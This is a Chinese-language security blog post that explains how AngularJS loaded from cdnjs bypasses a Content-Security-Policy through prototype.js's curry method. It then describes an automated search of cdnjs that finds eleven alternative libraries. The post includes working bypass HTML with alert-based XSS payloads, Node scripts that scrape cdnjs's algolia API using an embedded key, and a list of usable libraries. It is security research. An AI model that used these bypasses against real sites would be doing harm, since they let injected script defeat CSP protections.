最近開了一個讀者回饋表單,無論是對文章的感想或是對部落格的感想,有什麼想回饋的都可以填表單跟我說:表單連結

自動化尋找 AngularJS CSP Bypass 中 prototype.js 的替代品

在我之前的文章:從 cdnjs 的漏洞來看前端的供應鏈攻擊與防禦裡面有提過可以藉由 cdnjs 來繞過 CSP,而有其中一種繞過手法必須搭配 prototype.js 才能成功。

在理解原理之後,我開始好奇在 cdnjs 上面是否還有其他 library 可以做到類似的事情,因此就開始著手研究。

這篇會從 cdnjs 的 CSP 繞過開始講,講到為什麼需要 prototype.js,接著再提到我怎麼從 cdnjs 上找到它的替代品。

cdnjs + AngularJS CSP bypass

在 CSP 裡面放上 https://cdnjs.cloudflare.com 其實是很危險的一件事情,因為有一個許多人都知道的方式,可以繞過這個 CSP。

詳情可參考這兩篇文章:

  1. Bypassing path restriction on whitelisted CDNs to circumvent CSP protections - SECT CTF Web 400 writeup
  2. H5SC Minichallenge 3: “Sh*t, it’s CSP!”

實際的繞過方式如下:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>CSP bypass</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src https://cdnjs.cloudflare.com">
  </head>
  <body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
    <div ng-app ng-csp>
      {{$on.curry.call().alert('xss')}}
    </div>
  </body>
</html>

因為 CSP 中有 cdnjs,所以我們可以引入其他的 library,這邊我們挑的是 AngularJS,引入了以後我們就可以用 CSTI 的方式注入底下這一段:

<div ng-app ng-csp>
  {{$on.curry.call().alert('xss')}}
</div>

這邊為什麼是 $on.curry.call() 呢?你可以把它換成 window 看看,會發現沒有反應,這是因為 AngularJS 的 expression 是放在一個 scope object 裡面,你沒辦法直接存取到 window 或是 window 上的屬性。

而這邊有另一個重點是 CSP 沒有開 unsafe-eval,所以你也不能直接 constructor.constructor('alert(1)')() 之類的。

從最後的結果看起來,$on.curry.call() 似乎等同於 window,那是為什麼呢?這就是 prototype.js 派上用場的地方了,我們來看一下它的部分原始碼,src/prototype/lang/function.js

function curry() {
  if (!arguments.length) return this;
  var __method = this, args = slice.call(arguments, 0);
  return function() {
    var a = merge(args, arguments);
    return __method.apply(this, a);
  }
}

這個 function 會加在 Function.prototype 上面,而重點其實只有第一行: if (!arguments.length) return this;,如果沒有帶參數的話,會直接回傳 this。在 JavaScript 裡面,如果你用 call 或是 apply 來呼叫函式的話,第一個參數可以指定 this 的值,如果沒有傳的話就會是預設值,在嚴格模式底下是 undefined,非嚴格模式底下是 window

這也是為什麼 $on.curry.call() 會是 window,因為 $on 是個 function,所以呼叫 $on.curry.call() 的時候,由於 this 沒帶所以預設是 window,參數也沒帶,因此 curry 這個函式就會根據第一行的條件句,把 this 也就是 window 回傳回來。

總結一下,之所以 AngularJS 需要 prototype.js 的幫忙,是因為 prototype.js:

  1. 提供了一個加在 prototype 上的函式
  2. 而且這個函式會回傳 this

第一點很重要,因為前面有提過在 expression 裡面沒辦法存取到 window,所以一般的 library 加的東西其實也是拿不到的,但 prototype.js 是把東西放在 prototype 上面,所以可以透過 prototype 來存取到新增的 method。

第二點也很重要,搭配 this 預設會是 window 這個特性,就可以讓我們拿到 window。

知道了原理之後,就知道該怎麼找替代品了,只要找到有相同功能的就好了。而此時我突然想到以前寫過的一篇文章:Don’t break the Web:以 SmooshGate 以及 keygen 為例,在裡面我有提到因為 MooTools 習慣在 prototype 上面新增東西,導致原本要叫做 flatten 的 method 只好改名叫 flat(後來看 maple 的 writeup 才知道原來 Array.prototype.includes 不叫 Array.prototype.contains 也是因為 MooTools)

那會不會 MooTools 也符合我們上面的條件呢?

手動找出替代品之 MooTools

我們可以在這個資料夾中找出 MooTools 改的各種 prototype:https://github.com/mootools/mootools-core/tree/master/Source/Types

裡面有:

  1. Array
  2. DOMEvent
  3. Function
  4. Number
  5. Object
  6. String

因為檔案都不大,所以可以一個一個看,想更快的話也可以直接用 return this 當作關鍵字來搜尋,結果隨便一找就找到兩個:

Array.implement({
  erase: function(item){
    for (var i = this.length; i--;){
      if (this[i] === item) this.splice(i, 1);
    }
    return this;
  },

  empty: function(){
    this.length = 0;
    return this;
  },
})

Array.prototype.eraseArray.prototype.empty 兩個函式都會回傳 this,所以底下兩個方法都可以拿到 window:

  1. [].erase.call()
  2. [].empty.call()

接著馬上來試試看 CSP bypass 是否成功:

<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>CSP bypass - MooTools</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src https://cdnjs.cloudflare.com">
  </head>
  <body>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
    <div ng-app ng-csp>
      {{[].erase.call().alert('xss')}}
    </div>
  </body>
</html>

打開網頁之後發現確實有跳出 alert,果然成功了!

既然確認手動找得到以後,就可以來想想看怎麼自動化了。

自動化尋找替代品

一個滿簡單直覺的自動化流程大概就是:

  1. 找出 cdnjs 上面所有的 library
  2. 找出每個 library 的所有 JS 檔案
  3. 用 headless browser(我用 puppeteer)來測試每個 JS 是否會在 prototype 上新增屬性
  4. 嘗試呼叫新增的屬性,看是否會回傳 window

其中有一些細節的部分端看個人想要怎麼處理,例如說更精緻一點的話可以針對套件的所有版本都做測試,但是那樣做的話測試量可能會變五到十倍,由於我只是想做個初步的研究,所以不考慮套件版本,一律使用最新版的。

此外,除了找到可以回傳 this 的方法以外,我也想看有哪些套件會去動你的 prototype,這個可以從第三步的結果得知。

最後,我這邊只找「沒帶參數呼叫以後會回傳 this 的方法」,但可能會有那種參數符合特定條件才回會傳 this 的,這些需要人工去看,所以我先不考慮。

找出 cdnjs 上所有的 library

去 cdnjs 的網站上面觀察一下,可以發現背後是去呼叫放在 algolia 的 API,algolia 其實有提供把所有資料拉回來的方法,但官網的 api key 不支援,然後分頁的話又會受到限制,只能拿到前 1000 筆結果。

於是,我找到了 search 的 API,先假設每個字母開頭的套件不會超過 1000 個,就可以從 a-zA-Z0-9 去尋找以每個字母開頭的套件,藉此繞過 1000 筆的限制,讀到所有套件的資料。

程式碼的實作大概是這樣:

const axios = require('axios')
const fs = require('fs');

const API_HOST = 'https://2qwlvlxzb6-dsn.algolia.net/'
const SEARCH_API_URL = '/1/indexes/libraries/query'
const API_KEY = '2663c73014d2e4d6d1778cc8ad9fd010'
const APP_ID = '2QWLVLXZB6'

const instance = axios.create({
  baseURL: API_HOST,
  headers: {
    'x-algolia-api-key': API_KEY,
    'x-algolia-application-id': APP_ID
  }
})

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function write(content) {
  fs.writeFileSync('./data/libs.json', content)
}

async function main() {
  let chars = 'abcdefghijklmnopqrstuvwxyz0123456789'.split('')
  let allItems = []
  let existLib = {}
  for(let char of chars) {
    console.log(`fetching ${char}`)
    try {
      await sleep(500)
      const data = await getLibraries(char)
      const hits = data.hits
      console.log('length:', hits.length)

      const filtered = []
      for(let item of hits) {
        if (!existLib[item.name]) {
          filtered.push(item)
        }
        existLib[item.name] = true
      }
      allItems = allItems.concat(filtered)
      console.log('filtered length:', filtered.length)
      console.log('total length:', allItems.length)
      write(JSON.stringify(allItems, null, 2))
    } catch(err) {
      console.log('Error!')
      console.log(err, err.toString())
    }
  }
}

async function getLibraries(keyword) {
  const response = await instance.post(SEARCH_API_URL, {
        params: `query=${keyword}&page=0&hitsPerPage=1000`,
        restrictSearchableAttributes: [
          'name'
        ]
  })
  return response.data
}

main()

跑完以後,我們就可以拿到一個有所有 cdnjs 套件跟名稱的列表。

找出每個 library 的所有 JS 檔案

套件的基本資料是放在 algolia,但是一些細節則是放在 cdnjs 自己的 API。

而這個 API 的規則也很簡單,網址就是:https://api.cdnjs.com/libraries/${套件名稱}/${版本},所以只要把上一步的列表整理一下拿去打 API,就可以拿到每一個套件有哪些檔案:

const axios = require('axios')
const fs = require('fs');

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function write(content) {
  fs.writeFileSync('./data/libDetail.json', content)
}

if (!fs.existsSync('./data/libDetail.json')) {
  write('[]')
}

const existMap = {}
let detailItems = JSON.parse(fs.readFileSync('./data/libDetail.json', 'utf8'))
for(let item of detailItems) {  
  existMap[item.name] = true
}

async function getDetail(libName, version) {
  const url = `https://api.cdnjs.com/libraries/${encodeURIComponent(libName)}/${version}`
  try {
    const response = await axios(url)
    return response.data
  } catch(err) {
    console.log(url)
    console.log('failed:', libName, err.message)
    //process.exit(1)
  }
}

async function getLib(libraries, lib) {
  console.log('fetching:', lib.name)
  const detail = await getDetail(lib.name, lib.version)
  if (!detail) return
  detailItems.push(detail)
  write(JSON.stringify(detailItems, null, 2))
  console.log(`progress: ${detailItems.length}/${libraries.length}`)
}

async function getFiles() {
  const libraries = JSON.parse(fs.readFileSync('./data/libs.json', 'utf8'))
  for(let lib of libraries) {
    if (existMap[lib.name]) continue
    await sleep(200)
    getLib(libraries, lib)
  }
}

async function main() {
  getFiles()
}

main()

找出符合條件的套件

套件列表有了,每個套件有哪些檔案也有了。接著來到我們的最後一步:找出符合條件的套件。

在 cdnjs 上的套件有 4000 多個,如果一個一個跑的話,那就必須跑 4000 多遍,但其實符合我們條件的應該是少數,所以我選擇 10 個一組去跑,原因是 10 個套件的檔案應該不至於到真的太多,不用怕載入時間很長。如果這 10 個套件都沒有更動 prototype,那就下一組,如果有的話,就用類似二分搜的方式去找出哪些套件有改動到。

而偵測的 HTML 大概長這樣:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <script>
    function getPrototypeFunctions(prototype) {
      return Object.getOwnPropertyNames(prototype)
    }
    var protos = {
      array: getPrototypeFunctions(Array.prototype),
      string: getPrototypeFunctions(String.prototype),
      number: getPrototypeFunctions(Number.prototype),
      object: getPrototypeFunctions(Object.prototype),
      function: getPrototypeFunctions(Function.prototype)
    }
  </script>
</head>
<body>
  <!-- insert script here -->
  <script src="..."></script>
  <!-- insert script here -->
  <script>
    var newProtos = {
      array: getPrototypeFunctions(Array.prototype),
      string: getPrototypeFunctions(String.prototype),
      number: getPrototypeFunctions(Number.prototype),
      object: getPrototypeFunctions(Object.prototype),
      function: getPrototypeFunctions(Function.prototype)
    }
    let result = {
      prototypeFunctions: [],
      functionsReturnWindow: []
    }
    function check() {
      checkPrototype('array', 'Array.prototype', Array.prototype)
      checkPrototype('string', 'String.prototype', String.prototype)
      checkPrototype('number', 'Number.prototype', Number.prototype)
      checkPrototype('object', 'Object.prototype', Object.prototype)
      checkPrototype('function', 'Function.prototype', Function.prototype)
      return result
    }
    function checkPrototype(name, prototypeName, prototype) {
      const oldFuncs = protos[name]
      const newFuncs = newProtos[name]
      for(let fnName of newFuncs) {
        if (!oldFuncs.includes(fnName)) {
          const fullName = prototypeName + '.' + fnName
          result.prototypeFunctions.push(fullName)
          try {
            if (prototype[fnName].call() === window) {
              result.functionsReturnWindow.push(fullName)
            }
          } catch(err) {
          }
        }
      }
    }
  </script>
</body>
</html>

我們在套件還沒載入時,先記錄起每個 prototype 上面的屬性,載入套件以後再記錄一次然後跟之前做比對,就可以找出哪些是套件引入後才新增的屬性。然後我們也可以把結果分成兩種,一種是只要有改動到 prototype 就記下來,另外一種則是呼叫以後會回傳 window 的。

整個測試的程式碼比較長一點,完整版在這邊:https://github.com/aszx87410/cdnjs-prototype-pollution/blob/main/scan.js

但流程大概就是:

  1. 每十個套件一組,找出會汙染 prototype 的套件
  2. 找出套件後,再找出到底是哪些檔案會汙染 prototype
  3. 印出結果

研究結果

在 4290 個套件中,有 74 個(1.72%)套件會在 prototype 上面新增屬性,清單如下:

  1. [email protected]
  2. [email protected]
  3. [email protected]
  4. [email protected]
  5. RGraph@606
  6. [email protected]
  7. [email protected]
  8. [email protected]
  9. [email protected]
  10. [email protected]
  11. [email protected]
  12. [email protected]
  13. [email protected]
  14. [email protected]
  15. [email protected]
  16. [email protected]
  17. [email protected]
  18. [email protected]
  19. [email protected]
  20. [email protected]
  21. [email protected]
  22. [email protected]
  23. [email protected]
  24. [email protected]
  25. [email protected]
  26. [email protected]
  27. [email protected]
  28. [email protected]
  29. [email protected]
  30. [email protected]
  31. [email protected]
  32. [email protected]
  33. [email protected]
  34. [email protected]
  35. [email protected]
  36. [email protected]
  37. [email protected]
  38. [email protected]
  39. [email protected]
  40. [email protected]
  41. [email protected]
  42. [email protected]
  43. [email protected]
  44. [email protected]
  45. [email protected]
  46. [email protected]
  47. [email protected]
  48. [email protected]
  49. [email protected]
  50. [email protected]
  51. [email protected]
  52. [email protected]
  53. [email protected]
  54. [email protected]
  55. [email protected]
  56. [email protected]
  57. [email protected]
  58. [email protected]
  59. [email protected]
  60. [email protected]
  61. [email protected]
  62. [email protected]
  63. [email protected]
  64. [email protected]
  65. [email protected]
  66. [email protected]
  67. [email protected]
  68. [email protected]
  69. [email protected]
  70. [email protected]
  71. [email protected]
  72. [email protected]
  73. [email protected]
  74. [email protected]

而這 74 個中,有 12 個(16.2%)符合我們的條件,直接呼叫會回傳 this,清單如下:

[
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/asciidoctor.js/1.5.9/asciidoctor.min.js",
    "functions": [
      "Array.prototype.$concat",
      "Array.prototype.$push",
      "Array.prototype.$append",
      "Array.prototype.$rotate!",
      "Array.prototype.$shuffle!",
      "Array.prototype.$sort",
      "Array.prototype.$to_a",
      "Array.prototype.$to_ary",
      "Array.prototype.$unshift",
      "Array.prototype.$prepend",
      "String.prototype.$initialize",
      "String.prototype.$chomp",
      "String.prototype.$force_encoding",
      "Function.prototype.$to_proc"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/jquery-ui-bootstrap/0.5pre/third-party/jQuery-UI-Date-Range-Picker/js/date.js",
    "functions": [
      "Number.prototype.milliseconds",
      "Number.prototype.millisecond",
      "Number.prototype.seconds",
      "Number.prototype.second",
      "Number.prototype.minutes",
      "Number.prototype.minute",
      "Number.prototype.hours",
      "Number.prototype.hour",
      "Number.prototype.days",
      "Number.prototype.day",
      "Number.prototype.weeks",
      "Number.prototype.week",
      "Number.prototype.months",
      "Number.prototype.month",
      "Number.prototype.years",
      "Number.prototype.year"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/ext-core/3.1.0/ext-core.min.js",
    "functions": [
      "Function.prototype.createInterceptor"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/datejs/1.0/date.min.js",
    "functions": [
      "Number.prototype.milliseconds",
      "Number.prototype.millisecond",
      "Number.prototype.seconds",
      "Number.prototype.second",
      "Number.prototype.minutes",
      "Number.prototype.minute",
      "Number.prototype.hours",
      "Number.prototype.hour",
      "Number.prototype.days",
      "Number.prototype.day",
      "Number.prototype.weeks",
      "Number.prototype.week",
      "Number.prototype.months",
      "Number.prototype.month",
      "Number.prototype.years",
      "Number.prototype.year"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/json-forms/1.6.3/js/brutusin-json-forms.min.js",
    "functions": [
      "String.prototype.format"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/inheritance-js/0.4.12/inheritance.min.js",
    "functions": [
      "Object.prototype.mix",
      "Object.prototype.mixDeep"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/melonjs/1.0.1/melonjs.min.js",
    "functions": [
      "Array.prototype.remove"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core-compat.min.js",
    "functions": [
      "Array.prototype.erase",
      "Array.prototype.empty",
      "Function.prototype.extend",
      "Function.prototype.implement",
      "Function.prototype.hide",
      "Function.prototype.protect"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js",
    "functions": [
      "Array.prototype.erase",
      "Array.prototype.empty",
      "Function.prototype.extend",
      "Function.prototype.implement",
      "Function.prototype.hide",
      "Function.prototype.protect"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/opal/0.3.43/opal.min.js",
    "functions": [
      "Array.prototype.$extend",
      "Array.prototype.$to_proc",
      "Array.prototype.$to_a",
      "Array.prototype.$collect!",
      "Array.prototype.$delete_if",
      "Array.prototype.$each_index",
      "Array.prototype.$fill",
      "Array.prototype.$insert",
      "Array.prototype.$keep_if",
      "Array.prototype.$map!",
      "Array.prototype.$push",
      "Array.prototype.$shuffle",
      "Array.prototype.$to_ary",
      "Array.prototype.$unshift",
      "String.prototype.$as_json",
      "String.prototype.$extend",
      "String.prototype.$intern",
      "String.prototype.$to_sym",
      "Number.prototype.$as_json",
      "Number.prototype.$extend",
      "Number.prototype.$to_proc",
      "Number.prototype.$downto",
      "Number.prototype.$nonzero?",
      "Number.prototype.$ord",
      "Number.prototype.$times",
      "Function.prototype.$include",
      "Function.prototype.$module_function",
      "Function.prototype.$extend",
      "Function.prototype.$to_proc"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js",
    "functions": [
      "Array.prototype.clear",
      "Number.prototype.times",
      "Function.prototype.curry"
    ]
  },
  {
    "url": "https://cdnjs.cloudflare.com/ajax/libs/tmlib.js/0.5.2/tmlib.min.js",
    "functions": [
      "Array.prototype.swap",
      "Array.prototype.eraseAll",
      "Array.prototype.eraseIf",
      "Array.prototype.eraseIfAll",
      "Array.prototype.clear",
      "Array.prototype.shuffle",
      "Number.prototype.times",
      "Number.prototype.upto",
      "Number.prototype.downto",
      "Number.prototype.step",
      "Object.prototype.$extend",
      "Object.prototype.$safe",
      "Object.prototype.$strict"
    ]
  }
]

扣掉開頭講的 prototype.js,我們還有其他 11 個套件可以搭配使用,讓我們繞過限制,順利拿到 window

總結

透過把 cdnjs 上的套件資料都抓下來,以及使用 headless browser 幫忙驗證,我們成功找到了 11 個 prototype.js 的替代品,這些套件都會在 prototype 上面新增方法,而且呼叫這些方法以後都會回傳 this,可以藉由呼叫它來取得 window

從開始執行到產出結果,大概花了一兩天而已,因為資料格式相對單純,驗證方式也很單純,數量也沒有說真的很多,想加速的話也可以多開幾個 thread 來跑。

另外,找出替代品其實也沒什麼太大的意義,只是好奇而已,因為通常也不會有網頁特別去擋 prototype.js,所以其實只要找到一個可以拿到 window 的套件就足夠了。

但總之這個研究的過程還是滿好玩的。

完整程式碼:https://github.com/aszx87410/cdnjs-prototype-pollution

用 CSS 來偷資料 - CSS injection(上) UIUCTF 2022 筆記

評論